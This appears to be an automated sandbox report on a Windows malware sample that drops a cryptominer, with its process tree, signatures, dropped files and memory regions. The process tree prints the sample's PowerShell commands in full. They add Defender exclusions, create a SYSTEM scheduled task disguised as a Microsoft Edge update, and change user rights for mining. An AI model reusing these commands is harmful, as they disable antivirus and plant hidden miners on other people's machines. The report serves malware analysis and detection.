Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/07/2026, 11:22

General

  • Target
    2026-07-18_4f7d1f7222d1feeffbcc19ae7ce79d3a_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe
  • Size 9.4MB
  • Sample260718-ngs8macz8x
  • SHA256 8aca9976c783df73e1bedc6be52a3e27ac2ce21e2918f13b665b01e3ccef59ea
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Custom signature
    Detects executables containing URLs to raw contents of a Github gist 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-18_4f7d1f7222d1feeffbcc19ae7ce79d3a_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-18_4f7d1f7222d1feeffbcc19ae7ce79d3a_cobalt-strike_coinminer_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3440
    • C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
      "C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4524
      • C:\Users\Admin\AppData\Local\Temp\miner_setup_x64.exe
        "C:\Users\Admin\AppData\Local\Temp\miner_setup_x64.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4764
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:1092
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:796
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
          4⤵
            PID:3472
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4636
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
            4⤵
              PID:3036
            • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
              "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: GetForegroundWindowSpam
              PID:1968
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious use of WriteProcessMemory
              PID:4984
              • C:\Windows\system32\SecEdit.exe
                "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
                5⤵
                  PID:2400
                • C:\Windows\system32\SecEdit.exe
                  "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
                  5⤵
                    PID:4512
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2908
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2220
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
              2⤵
                PID:1600
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4948
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
                2⤵
                  PID:4640
                • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
                  2⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2364
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4876
                  • C:\Windows\system32\SecEdit.exe
                    "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
                    3⤵
                      PID:4760
                    • C:\Windows\system32\SecEdit.exe
                      "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
                      3⤵
                        PID:1356
                  • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                    C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe --watcher
                    1⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:2464
                    • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                      "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
                      2⤵
                      • Executes dropped EXE
                      PID:704
                  • C:\Windows\system32\taskhostw.exe
                    taskhostw.exe C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe --watcher
                    1⤵
                      PID:1664
                    • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                      C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe --watcher
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:1468
                      • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                        "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
                        2⤵
                        • Executes dropped EXE
                        PID:2164

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          MicrosoftEdgeUpdate.exe

                          • Path C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                          • Size 9.4MB
                          • SHA256 8aca9976c783df73e1bedc6be52a3e27ac2ce21e2918f13b665b01e3ccef59ea
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          powershell.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                          • Size 2KB
                          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 e7bb5f9802549b7423854e52db139be0d6de67b635ff5febbab35e14328eaad6
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 37757b512e3a39a04f1879b160248dcb7052f13375fd2da6a822fa36f87977ec
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 cbf20404c609c0792de4320ac3fa1806269cf5d97420565e3f43d409a11a2808
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 944B
                          • SHA256 172fe07653a93456e66d5b90333de53e23a561cf982a1a9d96c3459339009069
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 ad0e8e2519a8b953f534ffb69d0203936d6ccac3fe1cb18a052d9b70071469fb
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 e848b213b0848179e13b05ab175c375a51b2e3a49e9595169d6b0c57636310ba
                          • MD5 SHA1 SHA512 TLSH

                          GoonHUB.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
                          • Size 8.7MB
                          • SHA256 1ccdab94483db6022a5804c35985eef4cdb583d81a1b01b813c187dde2d95ba2
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          __PSScriptPolicyTest_5mgsiwmi.5jx.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5mgsiwmi.5jx.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          miner_setup_x64.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\miner_setup_x64.exe
                          • Size 576KB
                          • SHA256 f823738d73cb78b055715749a69954d4eedec15b5b7ca8601038a22eadd27a30
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          sce49424.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\sce49424.tmp
                          • Size 16KB
                          • SHA256 621c13968a16a9280f14cea9e2577678af7129f6899615defebc08782eb8b756
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          sce68824.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\sce68824.tmp
                          • Size 8KB
                          • SHA256 7b4f3baefd3b16ff0fa3736bce5b1b8c6c7a42d7c62baace52c1ae0907af5889
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/704-83-0x000002814CCB0000-0x000002814CCC4000-memory.dmp

                          memory/704-160-0x00007FF7ECC80000-0x00007FF7ED5E9000-memory.dmp

                          memory/704-165-0x00007FF7ECC80000-0x00007FF7ED5E9000-memory.dmp

                          memory/704-164-0x00007FF7ECC80000-0x00007FF7ED5E9000-memory.dmp

                          memory/704-163-0x00007FF7ECC80000-0x00007FF7ED5E9000-memory.dmp

                          memory/704-162-0x00007FF7ECC80000-0x00007FF7ED5E9000-memory.dmp

                          memory/704-161-0x00007FF7ECC80000-0x00007FF7ED5E9000-memory.dmp

                          memory/704-147-0x00007FF7ECC80000-0x00007FF7ED5E9000-memory.dmp

                          memory/704-156-0x00007FF7ECC80000-0x00007FF7ED5E9000-memory.dmp

                          memory/704-157-0x00007FF7ECC80000-0x00007FF7ED5E9000-memory.dmp

                          memory/704-82-0x000002814CCB0000-0x000002814CCC4000-memory.dmp

                          memory/2908-5-0x00000257E5AC0000-0x00000257E5AD0000-memory.dmp

                          memory/2908-6-0x00000257E5AC0000-0x00000257E5AD0000-memory.dmp

                          memory/2908-7-0x00000257E5C00000-0x00000257E5C22000-memory.dmp

                          memory/2908-24-0x00000257FE300000-0x00000257FE51C000-memory.dmp

                          memory/4948-45-0x000001E776C50000-0x000001E776E6C000-memory.dmp